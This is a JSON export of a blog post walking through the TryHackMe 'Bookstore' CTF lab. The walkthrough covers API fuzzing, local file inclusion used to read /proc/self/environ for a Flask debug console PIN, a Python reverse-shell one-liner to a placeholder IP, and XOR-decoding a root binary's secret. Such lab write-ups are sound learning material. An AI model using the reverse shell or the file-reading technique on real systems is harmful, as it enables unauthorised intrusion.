{"id":447,"date":"2025-11-30T10:31:27","date_gmt":"2025-11-30T10:31:27","guid":{"rendered":"https:\/\/hackingwithj.com\/?p=447"},"modified":"2025-11-30T10:41:22","modified_gmt":"2025-11-30T10:41:22","slug":"thm-bookstore","status":"publish","type":"post","link":"https:\/\/hackingwithj.com\/?p=447","title":{"rendered":"THM: Bookstore"},"content":{"rendered":"\n<p>After several hospital appointments, I finally had time for another CTF. This time I picked <strong>Bookstore<\/strong> on TryHackMe, rated as medium and focused on API enumeration \u2014 exactly my thing. Web pentesting is what I enjoy most at the moment, and although I might try bug bounties in the future, that\u2019s still a different league and not something I feel fully ready for yet.<\/p>\n\n\n\n<p>This machine turned out to be a nice combination of API fuzzing, source code analysis, and Local File Inclusion (LFI).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">NMAP<\/h2>\n\n\n\n<p>A quick port scan revealed three open ports:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-4190cbba16b589aeb6fec2fa2fe9cb70\"><code>PORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)\n|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)\n|_  256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)\n80\/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))\n|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n| http-methods: \n|_  Supported Methods: POST OPTIONS HEAD GET\n|_http-title: Book Store\n5000\/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)\n| http-methods: \n|_  Supported Methods: HEAD GET OPTIONS\n|_http-server-header: Werkzeug\/0.14.1 Python\/3.6.9\n|_http-title: Home\n| http-robots.txt: 1 disallowed entry \n|_\/api &lt;\/p> \nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n<p>Port 5000 immediately stood out \u2014 Werkzeug usually means <strong>Flask<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">HTTP (80)<\/h2>\n\n\n\n<p>Browsing to port 80 showed a generic web page with no real functionality.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"386\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-94-1024x386.png\" alt=\"\" class=\"wp-image-448\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-94-1024x386.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-94-300x113.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-94-768x290.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-94-1536x580.png 1536w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-94.png 1905w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>gobuster<\/code>: no useful directories<\/li>\n\n\n\n<li><code>ffuf<\/code>: no subdomains<\/li>\n\n\n\n<li>Burp Suite while browsing revealed requests going to:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-7364827a2aa41efe6288cf4905a72328\"><code>\/api\/v2\/resources\/books\/random4<\/code><\/pre>\n\n\n\n<p>That looked far more interesting than the static site.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">API Enumeration (5000)<\/h2>\n\n\n\n<p>Navigating to port 5000 gave me a basic page.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"801\" height=\"149\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-95.png\" alt=\"\" class=\"wp-image-449\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-95.png 801w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-95-300x56.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-95-768x143.png 768w\" sizes=\"auto, (max-width: 801px) 100vw, 801px\" \/><\/figure>\n\n\n\n<p>I immediately ran Gobuster:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>\/api<\/code><\/li>\n\n\n\n<li><code>\/console<\/code><\/li>\n<\/ul>\n\n\n\n<p>Visiting <code>\/console<\/code> showed me a Flask debug console protected by a PIN.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"246\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-96-1024x246.png\" alt=\"\" class=\"wp-image-450\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-96-1024x246.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-96-300x72.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-96-768x185.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-96-1536x369.png 1536w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-96.png 1914w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I could brute-force it\u2026 but before going down that route, I decided to enumerate the API properly first.<\/p>\n\n\n\n<p>Visiting <code>\/api<\/code> returned actual API documentation.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"813\" height=\"745\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-97.png\" alt=\"\" class=\"wp-image-451\" style=\"width:954px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-97.png 813w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-97-300x275.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-97-768x704.png 768w\" sizes=\"auto, (max-width: 813px) 100vw, 813px\" \/><\/figure>\n\n\n\n<p>This confirmed I was in the right place. I grabbed a wordlist for fuzzing from GitHub and started attacking <code>\/api\/v2<\/code>. Nothing stood out at first, so I tried older versions.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"269\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-99-1024x269.png\" alt=\"\" class=\"wp-image-453\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-99-1024x269.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-99-300x79.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-99-768x202.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-99-1536x404.png 1536w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-99.png 1549w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The API allowed parameters like:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>id<\/code><\/li>\n\n\n\n<li><code>author<\/code><\/li>\n\n\n\n<li><code>published<\/code><\/li>\n<\/ul>\n\n\n\n<p>So I fuzzed parameter names to see if something unexpected would pop up.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"919\" height=\"367\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-100.png\" alt=\"\" class=\"wp-image-454\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-100.png 919w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-100-300x120.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-100-768x307.png 768w\" sizes=\"auto, (max-width: 919px) 100vw, 919px\" \/><\/figure>\n\n\n\n<p>One command <strong>always crashed the server<\/strong>: <code>show<\/code> Checking the response in Burp showed:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"726\" height=\"623\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111732.545.png\" alt=\"\" class=\"wp-image-455\" style=\"width:713px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111732.545.png 726w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111732.545-300x257.png 300w\" sizes=\"auto, (max-width: 726px) 100vw, 726px\" \/><\/figure>\n\n\n\n<p>The error message <code>filename not defined<\/code> immediately suggested a possible LFI vulnerability, so I decided to verify it:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"474\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111749.821-1024x474.png\" alt=\"\" class=\"wp-image-456\" style=\"width:943px;height:auto\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111749.821-1024x474.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111749.821-300x139.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111749.821-768x355.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T111749.821.png 1520w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>After digging through HTML source and failing to extract more useful files manually, I turned to <strong>HackTricks<\/strong> \u2014 and found two powerful file paths:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/proc\/self\/cmdline<\/li>\n\n\n\n<li>\/proc\/self\/environ<\/li>\n<\/ul>\n\n\n\n<p>That last file ended up giving me the PIN I needed to unlock the console.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"209\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112157.577-1024x209.png\" alt=\"\" class=\"wp-image-458\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112157.577-1024x209.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112157.577-300x61.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112157.577-768x157.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112157.577.png 1512w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Going back to <code>\/console<\/code>, I entered the PIN and gained access to the Python execution console.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"156\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112227.809-1024x156.png\" alt=\"\" class=\"wp-image-459\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112227.809-1024x156.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112227.809-300x46.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112227.809-768x117.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112227.809-1536x233.png 1536w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112227.809.png 1882w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I spawned a reverse shell with this one-liner:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-ee7fac459614bb589038d9d4690f0302\"><code>import socket,os,pty; s=socket.socket(); s.connect((\"IP\",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn(\"\/bin\/sh\")'\n<\/code><\/pre>\n\n\n\n<p>Shell access achieved:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"445\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112229.146-1024x445.png\" alt=\"\" class=\"wp-image-460\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112229.146-1024x445.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112229.146-300x130.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112229.146-768x334.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112229.146.png 1308w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">Privilege Escalation<\/h1>\n\n\n\n<p>First thing I did after getting a shell was run <strong>LinPEAS<\/strong> to get a better overview of the system and spot any obvious privilege escalation vectors. One file immediately stood out in the results:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"780\" height=\"257\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112230.737.png\" alt=\"\" class=\"wp-image-461\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112230.737.png 780w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112230.737-300x99.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112230.737-768x253.png 768w\" sizes=\"auto, (max-width: 780px) 100vw, 780px\" \/><\/figure>\n\n\n\n<p>Checking its permissions showed something interesting:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"431\" height=\"30\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112232.121.png\" alt=\"\" class=\"wp-image-462\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112232.121.png 431w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112232.121-300x21.png 300w\" sizes=\"auto, (max-width: 431px) 100vw, 431px\" \/><\/figure>\n\n\n\n<p>The file was owned by <strong>root<\/strong> and executable. Running it launched some kind of custom binary, so rather than blindly executing it further, I decided to inspect it first.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Reverse engineering the binary<\/h2>\n\n\n\n<p>I downloaded the file to my Kali machine and opened it in <strong>Ghidra<\/strong>. Reverse engineering is not my strongest skill, so this took me a bit longer than expected \u2014 but it was a good learning moment. Eventually I discovered the following logic:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"458\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112233.833.png\" alt=\"\" class=\"wp-image-463\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112233.833.png 624w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112233.833-300x220.png 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p>The program calculates a value using this expression:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-199957afc282d10b0c1a149ba3845230\"><code>local_14 = 0x5dcd21f4 ^ 0x1116 ^ 0x5db3<\/code><\/pre>\n\n\n\n<p>So the \u201cmystery value\u201d was just a simple XOR operation. I quickly decoded it in Python:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-c7b8416e567c09726dc8e30177f6bb8e\"><code>0x5dcd21f4 ^ 0x1116 ^ 0x5db3<\/code><\/pre>\n\n\n\n<p>Output:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-9206fe8b4013b82a82a8c3739a68e377\"><code>1573743953<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Root access<\/h2>\n\n\n\n<p>At this point I simply ran the binary again and used the decoded value as input.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"431\" height=\"176\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112718.058.png\" alt=\"\" class=\"wp-image-464\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112718.058.png 431w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/11\/image-2025-11-30T112718.058-300x123.png 300w\" sizes=\"auto, (max-width: 431px) 100vw, 431px\" \/><\/figure>\n\n\n\n<p>While this wasn\u2019t a traditional privilege escalation like abusing sudo permissions or misconfigured cronjobs, it <em>was<\/em> a great hands-on exercise in reverse engineering and understanding how binaries hide secrets. That alone made this part worth it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Learning notes<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">API Enumeration<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Always enumerate versioned endpoints: <code>\/v1<\/code>, <code>\/v2<\/code>, <code>\/beta<\/code>, <code>\/old<\/code>.<\/li>\n\n\n\n<li>Try parameter fuzzing, not just paths \u2014 logic bugs often live in parameters.<\/li>\n\n\n\n<li>Read API docs carefully; they often expose more than intended.<\/li>\n\n\n\n<li>If v2 looks secure, try v1 \u2014 backwards compatibility usually means weaker validation.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Error Handling<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Treat error messages as information disclosure.<\/li>\n\n\n\n<li>Messages like <code>filename not defined<\/code> often indicate internal file handling.<\/li>\n\n\n\n<li>Application crashes during requests usually mean poor input validation.<\/li>\n\n\n\n<li>Always test parameters hinted by error output.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Reverse Engineering (Privilege Escalation)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Download suspicious binaries and analyze locally.<\/li>\n\n\n\n<li>Start with:\n<ul class=\"wp-block-list\">\n<li><code>strings<\/code><\/li>\n\n\n\n<li>Ghidra or IDA<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Focus on:\n<ul class=\"wp-block-list\">\n<li>auth checks<\/li>\n\n\n\n<li>hardcoded values<\/li>\n\n\n\n<li>XOR routines<\/li>\n\n\n\n<li>input validation<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Decode logic offline before executing anything on the target.<\/li>\n\n\n\n<li>Simple obfuscation (XOR) = low-hanging fruit.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>After several hospital appointments, I finally had time for another CTF. This time I picked Bookstore on TryHackMe, rated as medium and focused on API enumeration \u2014 exactly my thing. Web pentesting is what I enjoy most at the moment, and although I might try bug bounties in the future, that\u2019s still a different league [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[8],"tags":[],"class_list":["post-447","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=447"}],"version-history":[{"count":4,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/447\/revisions"}],"predecessor-version":[{"id":466,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/447\/revisions\/466"}],"wp:attachment":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=447"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=447"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}